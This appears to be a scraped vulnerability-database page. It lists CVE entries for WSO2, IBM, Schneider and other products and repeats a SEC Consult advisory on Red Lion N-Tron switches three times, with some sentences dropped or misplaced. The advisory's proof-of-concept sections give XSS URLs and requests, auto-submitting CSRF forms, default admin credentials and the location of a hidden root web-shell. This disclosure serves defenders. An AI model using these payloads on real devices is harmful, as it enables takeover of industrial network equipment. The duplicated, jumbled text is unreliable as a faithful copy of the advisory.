VARIoT IoT vulnerabilities database

An issue was discovered in certain WSO2 products. A valid Carbon Management Console session cookie may be sent to an attacker-controlled server if the victim submits a crafted Try It request, aka Session Hijacking. This affects API Manager 2.2.0, API Manager Analytics 2.2.0, API Microgateway 2.2.0, Data Analytics Server 3.2.0, Enterprise Integrator through 6.6.0, IS as Key Manager 5.5.0, Identity Server 5.5.0 and 5.8.0, Identity Server Analytics 5.5.0, and IoT Server 3.3.0 and 3.3.1. plural WSO2 The product contains unspecified vulnerabilities.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. There are security vulnerabilities in WSO2 products, which originate from the ability of Carbon management console to send cookie information to attackers. There is a security vulnerability in WSO2 products

An issue was discovered in certain WSO2 products. The Try It tool allows Reflected XSS. This affects API Manager 2.2.0, API Manager Analytics 2.2.0, API Microgateway 2.2.0, Data Analytics Server 3.2.0, Enterprise Integrator through 6.6.0, IS as Key Manager 5.5.0, Identity Server 5.5.0 and 5.8.0, Identity Server Analytics 5.5.0, and IoT Server 3.3.0 and 3.3.1. plural WSO2 The product contains a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. There is a cross-site scripting vulnerability in WSO2 products, which is caused by the lack of correct verification of client data in WEB applications. An attacker can use this vulnerability to execute client code

Chengdu Feiyuxing Technology Co., Ltd. is a company dedicated to providing intelligent and easy-to-use network communication products and services, continuously improving the quality of network use through innovative technologies, and cooperating with users to create an intelligent and humanized network management platform. Feiyuxing home smart router has an unauthorized access vulnerability, which can be exploited by attackers to obtain sensitive information.

Modicon M580 is a programmable logic controller introduced by Schneider Electric. Schneider Electric Modicon M580 has an information disclosure vulnerability. Attackers can use the vulnerability to obtain arbitrary memory data.

IBM Resilient SOAR V38.0 users may experience a denial of service of the SOAR Platform due to a insufficient input validation. IBM X-Force ID: 165589. IBM Resilient There is an input verification vulnerability in. Vendor exploits this vulnerability IBM X-Force ID: 165589 It is published as.Service operation interruption (DoS) It may be put into a state

The affected product is vulnerable to stored cross-site scripting, which may allow an attacker to remotely execute arbitrary code to gain access to sensitive data on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. Red Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 > ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data." Source: https://www.redlion.net Business recommendation: ------------------------ The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. An attacker is also able to perform actions in the context of the attacked user. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user. 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability. 4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. This endpoint seems to be a leftover of the used Atheros SDK. 5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. 6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request: ------------------------------------------------------------------------------- POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode" bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode" 0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip" 192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask" 255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw" 192.168.1.1"><script>alert(document.location)</script> -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1" -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2" -----------------------------195698564115308644282115103021-- ------------------------------------------------------------------------------- This can also be embedded in the HTML code as shown below: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="netmode" value="bridge" /> <input type="hidden" name="wlanipmode" value="0" /> <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" /> <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" /> <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="dns1" value="" /> <input type="hidden" name="dns2" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="hostname" value="SEC&#32;Consult" /> <input type="hidden" name="action" value="chhost" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages. 5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test 55\;test.txt # ------------------------------------------------------------------------------- 6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15 Vulnerable / tested versions: ----------------------------- the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26 Vendor contact timeline: ------------------------ 2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory. * https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01 Solution: --------- Upgrade to newer hardware. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2020

IBM Resilient SOAR 38 uses incomplete blacklisting for input validation which allows attackers to bypass application controls resulting in direct impact to the system and data integrity. IBM X-Force ID: 167236. IBM Resilient SOAR There is an unspecified vulnerability in. Vendor exploits this vulnerability IBM X-Force ID: 167236 It is published as.Information may be tampered with

The affected product is vulnerable due to an undocumented interface found on the device, which may allow an attacker to execute commands as root on the device on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Includes a vulnerability in a private feature.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. Red Lion N-Tron 702-W/702M12-W has an undocumented interface vulnerability. Attackers can use this vulnerability to submit special requests and execute arbitrary commands with ROOT permissions. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 > ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data." Source: https://www.redlion.net Business recommendation: ------------------------ The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. Vulnerability overview/description: ----------------------------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 A reflected cross-site scripting vulnerability was identified at the endpoint "/pingtest_action.cgi". An attacker is also able to perform actions in the context of the attacked user. 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Stored cross-site scripting vulnerabilities are present on multiple endpoints. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user. 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability. 4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. This endpoint seems to be a leftover of the used Atheros SDK. 5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. 6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request: ------------------------------------------------------------------------------- POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode" bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode" 0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip" 192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask" 255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw" 192.168.1.1"><script>alert(document.location)</script> -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1" -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2" -----------------------------195698564115308644282115103021-- ------------------------------------------------------------------------------- This can also be embedded in the HTML code as shown below: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="netmode" value="bridge" /> <input type="hidden" name="wlanipmode" value="0" /> <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" /> <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" /> <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="dns1" value="" /> <input type="hidden" name="dns2" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="hostname" value="SEC&#32;Consult" /> <input type="hidden" name="action" value="chhost" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. 5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test 55\;test.txt # ------------------------------------------------------------------------------- 6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15 Vulnerable / tested versions: ----------------------------- the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26 Vendor contact timeline: ------------------------ 2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory. * https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01 Solution: --------- Upgrade to newer hardware. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2020

The affected product is vulnerable to reflected cross-site scripting, which may allow an attacker to remotely execute arbitrary code and perform actions in the context of an attacked user on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. Red Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 > ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data." Source: https://www.redlion.net Business recommendation: ------------------------ The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability. 4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. This endpoint seems to be a leftover of the used Atheros SDK. 5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. 6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request: ------------------------------------------------------------------------------- POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode" bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode" 0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip" 192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask" 255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw" 192.168.1.1"><script>alert(document.location)</script> -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1" -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2" -----------------------------195698564115308644282115103021-- ------------------------------------------------------------------------------- This can also be embedded in the HTML code as shown below: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="netmode" value="bridge" /> <input type="hidden" name="wlanipmode" value="0" /> <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" /> <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" /> <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="dns1" value="" /> <input type="hidden" name="dns2" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="hostname" value="SEC&#32;Consult" /> <input type="hidden" name="action" value="chhost" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages. 5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test 55\;test.txt # ------------------------------------------------------------------------------- 6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15 Vulnerable / tested versions: ----------------------------- the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26 Vendor contact timeline: ------------------------ 2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory. * https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01 Solution: --------- Upgrade to newer hardware. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2020

The affected product is vulnerable to cross-site request forgery, which may allow an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site request forgery vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. Red Lion N-Tron 702-W/702M12-W has a cross-site request forgery vulnerability. Attackers can use this vulnerability to construct malicious URIs, trick requests, and perform malicious operations in the context of the target user. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 > ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data." Source: https://www.redlion.net Business recommendation: ------------------------ The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. Vulnerability overview/description: ----------------------------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 A reflected cross-site scripting vulnerability was identified at the endpoint "/pingtest_action.cgi". 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Stored cross-site scripting vulnerabilities are present on multiple endpoints. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is able to take over the device by exploiting this vulnerability. 4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. A remote attacker can execute system commands via this way in combination with vulnerability #3. This endpoint seems to be a leftover of the used Atheros SDK. 5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. 6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request: ------------------------------------------------------------------------------- POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode" bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode" 0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip" 192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask" 255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw" 192.168.1.1"><script>alert(document.location)</script> 